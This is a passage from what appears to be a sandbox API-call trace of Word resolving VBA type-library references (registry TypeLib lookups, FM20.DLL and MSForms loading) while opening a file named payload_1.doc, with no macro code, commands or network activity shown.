| out: _Destination="4.2") returned 0x0 [0093.718] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="4.2", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12ba) returned 0x0 [0093.718] _ultoa_s (in: _Val=0x9, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0093.718] RegOpenKeyA (in: hKey=0x12ba, lpSubKey="9", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12be) returned 0x0 [0093.718] RegOpenKeyW (in: hKey=0x12be, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12c2) returned 0x0 [0093.718] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.718] RegCloseKey (hKey=0x12be) returned 0x0 [0093.719] _ultow_s (in: _Value=0x9, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="9") returned 0x0 [0093.719] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="9", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12be) returned 0x0 [0093.719] RegQueryValueW (in: hKey=0x12be, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0093.719] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0093.719] RegCloseKey (hKey=0x12be) returned 0x0 [0093.719] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.719] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.719] RegCloseKey (hKey=0x12ae) returned 0x0 [0093.719] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12ae) returned 0x0 [0093.719] RegOpenKeyW (in: hKey=0x12ae, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12b6) returned 0x0 [0093.720] RegEnumKeyW (in: hKey=0x12b6, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="8.7") returned 0x0 [0093.720] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0093.720] RegOpenKeyW (in: hKey=0x12b6, lpSubKey="8.7", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12be) returned 0x0 [0093.720] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.720] RegOpenKeyA (in: hKey=0x12be, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12c6) returned 0x0 [0093.720] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12ce) returned 0x0 [0093.720] RegCloseKey (hKey=0x12ce) returned 0x0 [0093.720] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.720] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.720] RegOpenKeyW (in: hKey=0x12be, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12c2) returned 0x0 [0093.721] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0xb5690f3cc4) returned 0x0 [0093.721] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0093.721] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.721] RegCloseKey (hKey=0x12be) returned 0x0 [0093.721] RegCloseKey (hKey=0x12b6) returned 0x0 [0093.721] RegCloseKey (hKey=0x12ae) returned 0x0 [0093.721] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12ae) returned 0x0 [0093.721] RegOpenKeyW (in: hKey=0x12ae, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12b6) returned 0x0 [0093.722] RegEnumKeyW (in: hKey=0x12b6, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="1.0") returned 0x0 [0093.722] RegEnumKeyW (in: hKey=0x12b6, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.0") returned 0x0 [0093.722] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0093.722] RegOpenKeyW (in: hKey=0x12b6, lpSubKey="2.0", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12b2) returned 0x0 [0093.722] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.722] RegOpenKeyA (in: hKey=0x12b2, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12be) returned 0x0 [0093.722] RegOpenKeyW (in: hKey=0x12be, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12ba) returned 0x0 [0093.722] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.722] RegCloseKey (hKey=0x12be) returned 0x0 [0093.722] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.722] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12be) returned 0x0 [0093.723] RegQueryValueW (in: hKey=0x12be, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Windows\\System32\\stdole2.tlb", lpcbData=0xb5690f3cc4) returned 0x0 [0093.723] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0093.723] RegCloseKey (hKey=0x12be) returned 0x0 [0093.723] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.723] RegCloseKey (hKey=0x12b6) returned 0x0 [0093.723] RegCloseKey (hKey=0x12ae) returned 0x0 [0093.730] _wfullpath (in: _Buffer=0xb5690f3fc0, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop\\Normal") returned="C:\\Users\\FD1HVy\\Desktop\\Normal" [0093.730] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12ae) returned 0x0 [0093.730] RegOpenKeyW (in: hKey=0x12ae, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12b2) returned 0x0 [0093.730] RegEnumKeyW (in: hKey=0x12b2, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.6") returned 0x0 [0093.742] RegEnumKeyW (in: hKey=0x12b2, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.7") returned 0x0 [0093.742] RegEnumKeyW (in: hKey=0x12b2, dwIndex=0x2, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.8") returned 0x0 [0093.743] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0093.743] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="2.8", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12ba) returned 0x0 [0093.743] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.743] RegOpenKeyA (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12c6) returned 0x0 [0093.743] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12ce) returned 0x0 [0093.743] RegCloseKey (hKey=0x12ce) returned 0x0 [0093.743] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.743] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.743] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12c2) returned 0x0 [0093.744] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0093.744] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0093.744] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.744] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.744] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.744] RegCloseKey (hKey=0x12ae) returned 0x0 [0093.745] wcsncpy_s (in: _Destination=0x2764b4109f8, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#") returned 0x0 [0093.745] wcscpy_s (in: _Destination=0x2764b410a58, _SizeInWords=0x40, _Source="C:\\WINDOWS\\SysWOW64\\FM20.DLL" | out: _Destination="C:\\WINDOWS\\SysWOW64\\FM20.DLL") returned 0x0 [0093.745] wcscpy_s (in: _Destination=0x2764b410a90, _SizeInWords=0x24, _Source="#Microsoft Forms 2.0 Object Library" | out: _Destination="#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.745] wcscpy_s (in: _Destination=0x2764b632340, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.745] wcsncpy_s (in: _Destination=0xb5690f3ed0, _SizeInWords=0x108, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.745] CharLowerBuffW (in: lpsz="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library", cchLength=0x6f | out: lpsz="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\syswow64\\fm20.dll#microsoft forms 2.0 object library") returned 0x6f [0093.745] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xe0) returned 0x2764b6a2570 [0093.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\syswow64\\fm20.dll#microsoft forms 2.0 object library", cchWideChar=112, lpMultiByteStr=0x2764b6a2570, cbMultiByte=224, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\syswow64\\fm20.dll#microsoft forms 2.0 object library", lpUsedDefaultChar=0x0) returned 112 [0093.745] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6a2570) [0093.745] wcscpy_s (in: _Destination=0x2764b524de0, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.745] wcsncpy_s (in: _Destination=0xb5690f3f10, _SizeInWords=0x108, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.745] CharLowerBuffW (in: lpsz="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library", cchLength=0x6f | out: lpsz="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\syswow64\\fm20.dll#microsoft forms 2.0 object library") returned 0x6f [0093.745] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xe0) returned 0x2764b6a2480 [0093.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\syswow64\\fm20.dll#microsoft forms 2.0 object library", cchWideChar=112, lpMultiByteStr=0x2764b6a2480, cbMultiByte=224, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{0d452ee1-e08f-101a-852e-02608c4d0bb4}#2.0#0#c:\\windows\\syswow64\\fm20.dll#microsoft forms 2.0 object library", lpUsedDefaultChar=0x0) returned 112 [0093.745] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6a2480) [0093.745] wcsncpy_s (in: _Destination=0xb5690f3ed0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.745] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3e00, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.745] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0093.745] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0093.745] wcscpy_s (in: _Destination=0x2764b6325a8, _SizeInWords=0x89, _Source="*\\G{F3585691-4FB6-4DAA-A780-C373196F1864}#2.0#0#C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{F3585691-4FB6-4DAA-A780-C373196F1864}#2.0#0#C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.745] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1000) returned 0x2764559f760 [0093.745] wcscpy_s (in: _Destination=0x2764b4109f8, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\SysWOW64\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.746] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3ac0 | out: phkResult=0xb5690f3ac0*=0x12ae) returned 0x0 [0093.746] RegOpenKeyW (in: hKey=0x12ae, lpSubKey="{0D452EE1-E08F-101A-852E-02608C4D0BB4}", phkResult=0xb5690f3ab8 | out: phkResult=0xb5690f3ab8*=0x12b6) returned 0x0 [0093.746] RegEnumKeyW (in: hKey=0x12b6, dwIndex=0x0, lpName=0xb5690f3ae8, cchName=0xa | out: lpName="2.0") returned 0x0 [0093.746] wcscpy_s (in: _Destination=0xb5690f3ad0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0093.746] RegOpenKeyW (in: hKey=0x12b6, lpSubKey="2.0", phkResult=0xb5690f3b78 | out: phkResult=0xb5690f3b78*=0x12be) returned 0x0 [0093.746] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3af0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.746] RegOpenKeyA (in: hKey=0x12be, lpSubKey="0", phkResult=0xb5690f3ae0 | out: phkResult=0xb5690f3ae0*=0x12c6) returned 0x0 [0093.747] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="win64", phkResult=0xb5690f3ae8 | out: phkResult=0xb5690f3ae8*=0x12ce) returned 0x0 [0093.747] RegCloseKey (hKey=0x12ce) returned 0x0 [0093.747] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.747] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3b80, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.747] RegOpenKeyW (in: hKey=0x12be, lpSubKey="0", phkResult=0xb5690f3b58 | out: phkResult=0xb5690f3b58*=0x12c2) returned 0x0 [0093.747] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win64", lpData=0xb5690f3ba0, lpcbData=0xb5690f3b54 | out: lpData="C:\\WINDOWS\\system32\\FM20.DLL", lpcbData=0xb5690f3b54) returned 0x0 [0093.747] wcscpy_s (in: _Destination=0x2764559f760, _SizeInWords=0x800, _Source="C:\\WINDOWS\\system32\\FM20.DLL" | out: _Destination="C:\\WINDOWS\\system32\\FM20.DLL") returned 0x0 [0093.747] RegCloseKey (hKey=0x12c2) returned 0x0 [0093.747] RegCloseKey (hKey=0x12be) returned 0x0 [0093.747] RegCloseKey (hKey=0x12b6) returned 0x0 [0093.748] RegCloseKey (hKey=0x12ae) returned 0x0 [0093.748] LoadTypeLib (in: szFile="C:\\WINDOWS\\system32\\FM20.DLL", pptlib=0xb5690f41c8*=0x0 | out: pptlib=0xb5690f41c8*=0x2763beee850) returned 0x0 [0093.887] IUnknown:QueryInterface (in: This=0x2763beee850, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3fc8 | out: ppvObject=0xb5690f3fc8*=0x0) returned 0x80004002 [0093.887] ITypeLib:RemoteGetLibAttr (in: This=0x2763beee850, ppTLibAttr=0xb5690f3fc0, pDummy=0xb5690f3fc8 | out: ppTLibAttr=0xb5690f3fc0, pDummy=0xb5690f3fc8*=0x0) returned 0x0 [0093.887] ITypeLib:RemoteGetDocumentation (in: This=0x2763beee850, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f3fb8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b410a56 | out: pBstrName=0xb5690f3fb8*="Microsoft Forms 2.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2764b410a56) returned 0x0 [0093.887] StringFromGUID2 (in: rguid=0x2764ad02420*(Data1=0xd452ee1, Data2=0xe08f, Data3=0x101a, Data4=([0]=0x85, [1]=0x2e, [2]=0x2, [3]=0x60, [4]=0x8c, [5]=0x4d, [6]=0xb, [7]=0xb4)), lpsz=0xb5690f3fe0, cchMax=39 | out: lpsz="{0D452EE1-E08F-101A-852E-02608C4D0BB4}") returned 39 [0093.887] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f3f2a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0093.887] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f2e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.887] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3f32, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.887] wcscpy_s (in: _Destination=0x2764b413af8, _SizeInWords=0x70, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0093.887] wcscpy_s (in: _Destination=0x2764b413afe, _SizeInWords=0x6d, _Source="{0D452EE1-E08F-101A-852E-02608C4D0BB4}" | out: _Destination="{0D452EE1-E08F-101A-852E-02608C4D0BB4}") returned 0x0 [0093.887] wcscpy_s (in: _Destination=0x2764b413b4a, _SizeInWords=0x47, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0093.887] wcscpy_s (in: _Destination=0x2764b413b58, _SizeInWords=0x40, _Source="C:\\WINDOWS\\system32\\FM20.DLL" | out: _Destination="C:\\WINDOWS\\system32\\FM20.DLL") returned 0x0 [0093.887] wcscpy_s (in: _Destination=0x2764b413b92, _SizeInWords=0x23, _Source="Microsoft Forms 2.0 Object Library" | out: _Destination="Microsoft Forms 2.0 Object Library") returned 0x0 [0093.888] ITypeLib:LocalReleaseTLibAttr (This=0x2763beee850) returned 0x0 [0093.888] wcscpy_s (in: _Destination=0x2764559f760, _SizeInWords=0x800, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.888] wcscpy_s (in: _Destination=0x2764b6326c0, _SizeInWords=0x70, _Source="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" | out: _Destination="*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\WINDOWS\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library") returned 0x0 [0093.888] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764559f760) [0093.888] IUnknown:AddRef (This=0x2763beee850) returned 0x2 [0093.888] IUnknown:QueryInterface (in: This=0x2763beee850, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4228 | out: ppvObject=0xb5690f4228*=0x0) returned 0x80004002 [0093.888] IUnknown:Release (This=0x2763beee850) returned 0x1 [0093.888] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MSForms", cchWideChar=8, lpMultiByteStr=0xb5690f41b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSForms", lpUsedDefaultChar=0x0) returned 8 [0093.888] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="MSForms") returned 0x400f43 [0093.888] strcpy_s (in: _Dst=0xb5690f3f90, _DstSize=0x8, _Src="MSForms" | out: _Dst="MSForms") returned 0x0 [0093.888] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3f90, cbMultiByte=8, lpWideCharStr=0xb5690f3de0, cchWideChar=8 | out: lpWideCharStr="MSForms") returned 8 [0093.888] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0093.888] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="MSForms", lHashVal=0x400f43, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0093.888] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0093.888] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0093.888] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="MSForms", lHashVal=0x400f43, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0093.888] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0093.888] IUnknown:AddRef (This=0x276454c2a20) returned 0x5 [0093.889] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="MSForms", lHashVal=0x400f43, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0093.889] IUnknown:Release (This=0x276454c2a20) returned 0x4 [0093.889] IUnknown:AddRef (This=0x276454c16e0) returned 0x2 [0093.889] ITypeLib:RemoteIsName (in: This=0x276454c16e0, szNameBuf="MSForms", lHashVal=0x400f43, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0093.889] IUnknown:Release (This=0x276454c16e0) returned 0x1 [0093.889] IUnknown:AddRef (This=0x2763beee850) returned 0x2 [0093.889] ITypeLib:RemoteIsName (in: This=0x2763beee850, szNameBuf="MSForms", lHashVal=0x400f43, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0093.889] IUnknown:Release (This=0x2763beee850) returned 0x1 [0093.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x48) returned 0x2764b191f90 [0093.889] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad08570) [0093.889] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad488e0 [0093.889] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad488e0, cb=0x74) returned 0x27645551490 [0093.889] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b191f90) [0093.890] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x79) returned 0x2764afa15c0 [0093.891] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa15c0) [0093.891] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12b2) returned 0x0 [0093.891] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="{000204EF-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12ba) returned 0x0 [0093.891] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.1") returned 0x0 [0093.892] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="4.2") returned 0x0 [0093.892] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="4.2" | out: _Destination="4.2") returned 0x0 [0093.892] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="4.2", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c2) returned 0x0 [0093.892] _ultoa_s (in: _Val=0x9, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0093.892] RegOpenKeyA (in: hKey=0x12c2, lpSubKey="9", 